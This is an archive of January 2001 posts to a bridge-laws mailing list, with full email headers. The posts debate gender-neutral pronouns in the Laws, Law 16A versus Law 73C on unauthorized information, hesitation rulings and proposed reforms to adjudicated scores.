(8.10.2/8.10.2) with ESMTP id f0BAtDt15575 for ; Thu, 11 Jan 2001 21:55:18 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14GfNb-00074L-0A for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 10:54:55 +0000 Message-ID: Date: Thu, 11 Jan 2001 02:47:37 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Bad Language References: <200101092349030800.0321272A@mail.earthlink.net> <004901c07b2b$2a675880$56991e18@san.rr.com> In-Reply-To: <004901c07b2b$2a675880$56991e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes >In reply to: > >> >However, since that time, a consensus has developed >> >amongst non-discriminatory grammarians on what the >> >gender-neutral generic third person singular words should >> >be. > >Brian Baresch wrote: >> >> I wouldn't go that far. I favor the generic "they", myself, and I'm glad >> it's gaining ground, but it's still some ways from a consensus. > >In some usages there is a consensus. One is the use of "they" when an >individual's sex is unknown to the speaker: > >"I got a strange telephone call last night." "What did they say?" What do you mean by a consensus? If someone said this to me I would assume the telephone call was from more than one person. I do not know of anyone who would say this to mean one person. >"Whoever broke that vase is going to find themselves in serious trouble." > >Another with fairly wide acceptance, especially among women, is the use of >"they" when one doesn't wish to call attention to a person's sex: > >"I had a friend over for dinner last night, and they didn't leave until one in >the morning." Similarly, this just sounds wrong, and I know of no-one who uses this approach. I have heard, on the other hand, some strange usages. Perhaps it is fair to say I know people use their in this way, but not they. Personally, I think it sounds horrible, and is a sad reflection on a language where the best solution to a gender problem is considered to be to treat one person as two. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 21:57:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BAtSv15586 for bridge-laws-outgoing; Thu, 11 Jan 2001 21:55:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BAtDt15574 for ; Thu, 11 Jan 2001 21:55:18 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14GfNb-00074M-0A for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 10:54:55 +0000 Message-ID: Date: Thu, 11 Jan 2001 02:51:17 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Bad Language References: <200101101837.NAA19838@cfa183.harvard.edu> In-Reply-To: <200101101837.NAA19838@cfa183.harvard.edu> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Steve Willner writes >> From: richard.hills@immi.gov.au >> Edgar Kaplan also supported old-fashioned sexist grammar. > >As other replies have made clear, not everyone agrees about what is >sexist and what isn't. > >Personally, I'll bee happy with clarity, no matter how it is achieved. Clarity is achieved in the matter of pronouns perfectly easily: use he or his for one person, they or their for more than one. But many people have other agendas, and clarity comes behind such things as invented sexism. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 22:17:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BBEqF19247 for bridge-laws-outgoing; Thu, 11 Jan 2001 22:14:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from thorium.uunet.be (thorium.uunet.be [194.7.1.46]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BBEjt19243 for ; Thu, 11 Jan 2001 22:14:46 +1100 (EST) Received: from village.uunet.be (uu212-190-8-120.unknown.uunet.be [212.190.8.120]) by thorium.uunet.be (8.9.1/8.9.1) with ESMTP id MAA11623 for ; Thu, 11 Jan 2001 12:14:30 +0100 (CET) Message-ID: <3A5C857F.50E84B4B@village.uunet.be> Date: Wed, 10 Jan 2001 16:53:35 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] What is suggested ? References: <200101081956.OAA07647@cfa183.harvard.edu> <3.0.6.32.20010110150619.00816370@pop.ulb.ac.be> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk alain gottcheiner wrote: > > > AG : your logic is wrong here, Herman. > > L16 says that, among logical alternatives (ie declarations that might be > selected by a sane individual in this position and playing your system), No Alain. L16 simply says "from among LA actions". It is you who make ie declarations therefrom. Nothing in the laws prohibits us from calling "making a bid" an action. > > Globalizing all bids into one of the alternatives is your personal view, > and nothing in TFLB supports this. If you can find some law that supports > it, I would be glad to learn it, PBNFL. > See above. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 00:41:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BDa7v02483 for bridge-laws-outgoing; Fri, 12 Jan 2001 00:36:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cadillac.meteo.fr (cadillac.meteo.fr [137.129.1.4]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BDZxt02435 for ; Fri, 12 Jan 2001 00:36:00 +1100 (EST) Received: from meteo.fr (rubis.meteo.fr [137.129.5.28]) by cadillac.meteo.fr (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id NAA17870 for ; Thu, 11 Jan 2001 13:35:49 GMT Message-ID: <3A5DB6C4.E2038E86@meteo.fr> Date: Thu, 11 Jan 2001 14:36:04 +0100 From: Jean Pierre Rocafort X-Mailer: Mozilla 4.5 [fr] (WinNT; I) X-Accept-Language: fr MIME-Version: 1.0 To: BLML Subject: Re: [BLML] The same but different. References: <000d01c07bbb$86b3b940$7204ff3e@vnmvhhid> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Anne Jones a écrit : > > I remember well the exam questions from my school days - Compare and > Contrast--- > Please > Compare and Contrast Law 16A and Law 73C > Anne > 73C: don't use UI 16A: use UI to your detriment is my answer brief enough? JP Rocafort -- ___________________________________________________ Jean-Pierre Rocafort METEO-FRANCE DSI/SC/D 42 Avenue Gaspard Coriolis 31057 Toulouse CEDEX Tph: 05 61 07 81 02 (33 5 61 07 81 02) Fax: 05 61 07 81 09 (33 5 61 07 81 09) e-mail: jean-pierre.rocafort@meteo.fr Serveur WWW METEO-FRANCE: http://www.meteo.fr ___________________________________________________ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 00:48:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BDmCC06809 for bridge-laws-outgoing; Fri, 12 Jan 2001 00:48:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BDm2t06751 for ; Fri, 12 Jan 2001 00:48:02 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14Gi4t-000DNp-0Y for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 13:47:44 +0000 Message-ID: Date: Thu, 11 Jan 2001 11:33:32 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] The same but different. References: <000d01c07bbb$86b3b940$7204ff3e@vnmvhhid> In-Reply-To: <000d01c07bbb$86b3b940$7204ff3e@vnmvhhid> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Anne Jones writes >I remember well the exam questions from my school days - Compare and >Contrast--- >Please >Compare and Contrast Law 16A and Law 73C Easy peasy: L73C tells players what to do, L16A tells TDs what to do. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 00:48:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BDmEe06816 for bridge-laws-outgoing; Fri, 12 Jan 2001 00:48:14 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BDm2t06750 for ; Fri, 12 Jan 2001 00:48:02 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14Gi4t-000DNn-0Y for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 13:47:44 +0000 Message-ID: Date: Thu, 11 Jan 2001 11:32:46 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Bad Language References: <008201c07b3d$81486240$56991e18@san.rr.com> <001d01c07bab$9db85020$842501d5@dodona> In-Reply-To: <001d01c07bab$9db85020$842501d5@dodona> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott writes >From: Marvin L. French >> Accordingly, the majority naturally will assume >> from an early age that the use of "he" as a general >> pronoun symbolizes male dominance over women. >> That is why we need some other way of referring >>to a person or persons of unidentified sex. >+=+ Some of this particular thread has the great >novelty of commentary on a text that has not yet >been written. Instead of charging at windmills one >could perhaps wait to see what emerges. That would be a mistake. We do better to advise before mistakes are made. While the next law book will no doubt only be promulgated after being offered up, the law-makers will only be human if they do not accept a suggestion that *every* paragraph should be re-worded because of wrong English usage. Far better to offer major changes [such as totally different use of pronouns] before major drafting. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 02:09:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BF5mC18085 for bridge-laws-outgoing; Fri, 12 Jan 2001 02:05:48 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BF5ft18081 for ; Fri, 12 Jan 2001 02:05:42 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id QAA12817; Thu, 11 Jan 2001 16:01:24 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id QAA14860; Thu, 11 Jan 2001 16:05:25 +0100 (MET) for Message-Id: <3.0.6.32.20010111161735.00810100@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 11 Jan 2001 16:17:35 +0100 To: Jean Pierre Rocafort , BLML From: alain gottcheiner Subject: Re: [BLML] The same but different. In-Reply-To: <3A5DB6C4.E2038E86@meteo.fr> References: <000d01c07bbb$86b3b940$7204ff3e@vnmvhhid> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0BF5it18082 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 14:36 11/01/01 +0100, Jean Pierre Rocafort wrote: > > >Anne Jones a écrit : >> >> I remember well the exam questions from my school days - Compare and >> Contrast--- >> Please >> Compare and Contrast Law 16A and Law 73C >> Anne In chronoligical order : a) UI given : 16A (and also 73B1) b) UI too blatant : 16A1 c) you've rceived UI : 73C d) they've received UI and didn't follow the prescripts of 7CC : 16A2 Another element : 73C is ethics, 16A is law (eg, how to deal with breches of ethics) A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 03:37:44 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BGWVI29058 for bridge-laws-outgoing; Fri, 12 Jan 2001 03:32:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BGWIt28998 for ; Fri, 12 Jan 2001 03:32:19 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 14Gkdt-000AKi-0W for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 16:32:04 +0000 Message-ID: Date: Thu, 11 Jan 2001 14:53:09 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Equity or simplicity? References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk richard.hills@immi.gov.au writes > >Alain Gottcheiner enquired: > >[big snip] > >>This also means that in the Acol sequence >>1H p ...3H p, the tempo didn't give away >>anything : one couldn't know whether the >>responder hesitated between 2 and 3, or >>between 3 and 4. Thus, the odds for and >>against 4H aren't changed (only, if you are >>wrong, you are more so), and 4H shouldn't >>be disallowed. >> >>Comments welcome on that one. >> >> A. > >IMHO, Alain is correct *in theory*. > >IMHO, almost always *in practice* a hesitation >denies a sub-minimum, and promises extra >values. Interesting. In the past the EBU L&EC have said that this is true of 1S P ..2S but not of 1S P ..3S. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 03:37:44 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BGWW629063 for bridge-laws-outgoing; Fri, 12 Jan 2001 03:32:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BGWJt29004 for ; Fri, 12 Jan 2001 03:32:19 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 14Gkdt-000AKg-0W for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 16:32:03 +0000 Message-ID: Date: Thu, 11 Jan 2001 14:41:37 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Pioneering L12C3 in Australia References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk richard.hills@immi.gov.au writes > >Peter Gill wrote: > >[big snip] > >>NS explained that they had never played >>together before. Because each had partnered >>a third player ("x") recently, they decided >>to play whatever "x" played, expecting "x" >>to have played the same methods with each of >>them. So far they'd figured out, and written >>on their CC, that they played Bergen Raises >>and Weak Jump Shift Responses. North knew >>that x's methods were that only jump >>responses of 2H and 2S were weak, and that >>2D (to 1C) and 3C (to 1D) were limit raises. >>Alas South had never found this out from "x" >>so he'd assumed that 2D was weak. > >[big snip] > >In this particular case it is clear that North and >South did not have a partnership agreement on >the meaning of a 2D response to a 1C opening. >Therefore, the TD and AC were correct in ruling >that MI had been given. > >In a more interesting, hypothetical, case, let us >assume that "x" had given 21 pages of system >notes to both North and South. Let us further >assume that North and South had agreed that >their methods would be strictly in accordance >with the written notes provided to both of them >by "x". As a final assumption, South accidentally >failed to read page 17 of the notes, which >described how a 2D response to 1C is a limit >raise. > >In this hypothetical, North has not only accurately >transcribed the "x" system onto the CC, but also >produces the 21 pages of "x" system notes at >the AC hearing. > >So in this hypothetical case, would the AC rule >that South has misbid, or would they still >decide that North and South had no >partnership understanding? They have no understanding on something that one of them has not read [or at least, not the understanding written there]. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 03:37:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BGWRe29036 for bridge-laws-outgoing; Fri, 12 Jan 2001 03:32:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BGWFt28977 for ; Fri, 12 Jan 2001 03:32:15 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 14Gkdw-000AKh-0W for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 16:32:05 +0000 Message-ID: Date: Thu, 11 Jan 2001 14:49:40 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Equity or simplicity? References: <3.0.32.20010103233949.0072d820@pullman.com> In-Reply-To: <3.0.32.20010103233949.0072d820@pullman.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk N. Scott Cardell writes >If the question is what the laws should be, then: > >1) Revokes, leads out of turn, bids out of turn: The law should favor >simplicity. NO should be guaranteed a minimum of equity, but the normal >consequence should be a simple mechanical penalty, and the OS should be >sufficiently often be disadvantaged that all potential offenders will >always have an incentive to avoid these offenses. I do agree. When worrying about Directors in clubs we should remember that in many ordinary clubs these and scoring errors and misboardings are the only things Directors deal with in practice. >The reasoning here is that not only are these offenses potentially >advantageous to the OS if not caught, but even accidental revokes and the >like disrupt the game and can damage the concentration and the enjoyment of >the game of all the players. A revoke that has no other effect than >causing a NO to rack his brain trying to think of how he miscounted the >suit, still needs to be actively discouraged. Personally I think that the >old two trick penalty was fine, only very rarely was it necessary to adjust >because the revoke cost more than two tricks; and it was a good deterrent. I agree with this as well. >2) UI and MI that occur in the ordinary course of the game (such as >because, in this thinking game someone actually paused for thought) should >be dealt with in a way that as much as possible restores equity and avoids >adjudicated results. The long slippery slope that the bridge laws have >plunged down in dealing with UI and MI is an abysmal failure. Now I totally disagree. The Laws are working quite well in these cases. Furthermore, the average club Director hardly ever has to deal with them so complexity does not matter so much. > I suggest the following change to the laws: > >1) Institute a statute of limitations on changing the contract due to a >hesitation in the bidding. The statute of limitation should end when the >opening lead is made. No more calling the director after the hand has been >played, or even after the play has begun. The same statute of limitations >should apply to changing the contract do to misinformation, if the >offending side is playing the contract and properly informs their opponents >of the misexplanation at the end of the bidding. > >2) When the director is called prior to the opening lead and decides that >there has been an infraction, then director must propose the final contract >that should have been reached without the UI (or MI). If both sides accept >the directors choice then the hand is played in the proposed contract and >neither side has a right to appeal. Either side may reject the proposal, >then both sides retain their right to appeal. > The offending side is required to choose first, if the offending side >rejects the proposal then the nonoffending side receives the advantage of >being deemed to have accepted it. If the proposal is rejected, then the >side that rejected has the burden of proof in any appeal. Furthermore, if >the committee determines that the directors original proposal was the >correct contract that the side that accepted the proposal has the option of >taking the table result rather than an adjudicated result. I think this is totally unworkable and would upset people. You are replacing assigned scores with total guesses - what advantage is that? > The idea is to reduce committees, get back to playing bridge, and >hopefully discourage bridge lawyering and 'passing opposite all >hesitations' (even when ethically one should bid). In most cases, under my >proposed laws, even if the contract is changed by the director the play of >the contract will still occur at the table not in the director's or the >committee's imagination. That is not much of an advantage. Play in a silly contract gains nothing. > These changes should greatly reduce appeals and the use of adjudicated >results. Bridge lawyers in my experience tend to have inflated self >opinions. (Same mind set as the true cheaters, they think that they >deserve better results that they are getting so they cheat or complain to >directors to try to get them.) Some are good players, but they think they >are great; others are poor players who think that they are good. Make the >bridge lawyers actually play the adjudicated contracts and they will >discover that the free lunch is over. > > I completely understand that the above is a major change in the laws >and even, perhaps, the philosophy of the laws, but the current laws >function poorly in practice, and are often exploited by disingenuous bridge >lawyers. The incentives for abuse have simply become too large. Currently >a complainant often gets to play the contract reached at the table and then >if they don't like the result have an adjudicated result in another >contract with the contract and the line of play chosen by rules that >strongly favor the complainant. Often this is not a double shot but a >triple shot or better. If the table result favors the complainant they get >that, if their opponents might have reached a worse contract they get that, >if another contract might have been reached and they might have found an >obscure defense to beat that contract they get that, etc. etc. . > > Any replacement of the table result with an adjudicated result based >on a contract that was never played at the table is damaging to everyone's >enjoyment of the game. No. It works quite well. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 04:21:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BHJXu08025 for bridge-laws-outgoing; Fri, 12 Jan 2001 04:19:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BHJRt08021 for ; Fri, 12 Jan 2001 04:19:28 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 11 Jan 2001 09:16:15 -0800 Message-ID: <017f01c07bf2$99697020$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws" References: <200101101753.JAA23221@mailhub.irvine.com> <010501c07b97$61f1f960$56991e18@san.rr.com> <000d01c07bb3$fffff1e0$7503073e@pbncomputer> Subject: Re: [BLML] Bad Language Date: Thu, 11 Jan 2001 09:10:51 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Burn wrote: > > Before this goes any further (or perhaps to stop it going any further, > because although an enjoyable discussion in itself, it has got nothing > to do with the Laws of bridge and is of no significance to members of > the list whose native tongue is not English): > Mostly you're right, it's just good mental exercise for those whose interest in the Laws includes an interest in languge. Some of what has been discussed could have pertinence to the next revision of the Laws, and discussion concerning the proper understanding of difficult passages involving English grammar or vocabulary definitely is of interest to those for whom the Laws have been translated (sometimes mistranslated) into another language. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 04:31:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BHUWl08055 for bridge-laws-outgoing; Fri, 12 Jan 2001 04:30:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BHUQt08051 for ; Fri, 12 Jan 2001 04:30:26 +1100 (EST) Received: from flash.irvine.com (flash.irvine.com [192.160.8.4]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id JAA20348; Thu, 11 Jan 2001 09:30:12 -0800 Message-Id: <200101111730.JAA20348@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Bad Language In-reply-to: Your message of "Wed, 10 Jan 2001 22:49:15 PST." <012e01c07b9b$6d1f77a0$56991e18@san.rr.com> Date: Thu, 11 Jan 2001 09:30:13 PST From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin French wrote: > Adam Beneschan wrote: > > Some thoughts: > > > > (1) Since bridge is a partnership game, there are many occasions where > > the Laws refer to both members of a partnership, which naturally > > requires use of the third person plural. To use the plural also > > to refer to a single player would undoubtedly make the Laws more > > confusing. > > Please cite some of these Laws, so we can see what you mean. Well, I didn't actually look at the Laws; I just wrote under the reasonable assumption that problems would be very likely. So when I saw your response, I brought up my Laws file, went to the beginning Law 1, and did a forward search for the word "he". Here's the very first thing I found: LAW 3 - ARRANGEMENT OF TABLES Four players play at each table, and tables are numbered in a sequence established by the Director. He designates one direction as North; other compass directions assume the normal relationship to North. Now see what would happen if "he" were changed to "they". -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 04:44:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BHdfm08085 for bridge-laws-outgoing; Fri, 12 Jan 2001 04:39:41 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BHdZt08081 for ; Fri, 12 Jan 2001 04:39:36 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 11 Jan 2001 09:36:27 -0800 Message-ID: <018601c07bf5$6ba5b600$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <67378DEA146DD21194C20000F87B08BA01B8B74B@fdwag002s.fd.agro.nl> <000701c07bb1$1e690200$7503073e@pbncomputer> Subject: Re: [BLML] self-serving ? Date: Thu, 11 Jan 2001 09:29:44 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Burn wrote: > DWS wrote: > > > I am sick and tired of people quoting the Scope for no reason except > > to interpret a particular Law in a way that the Law does not say. Let > > us alter the scope, to say, the Laws are primarily 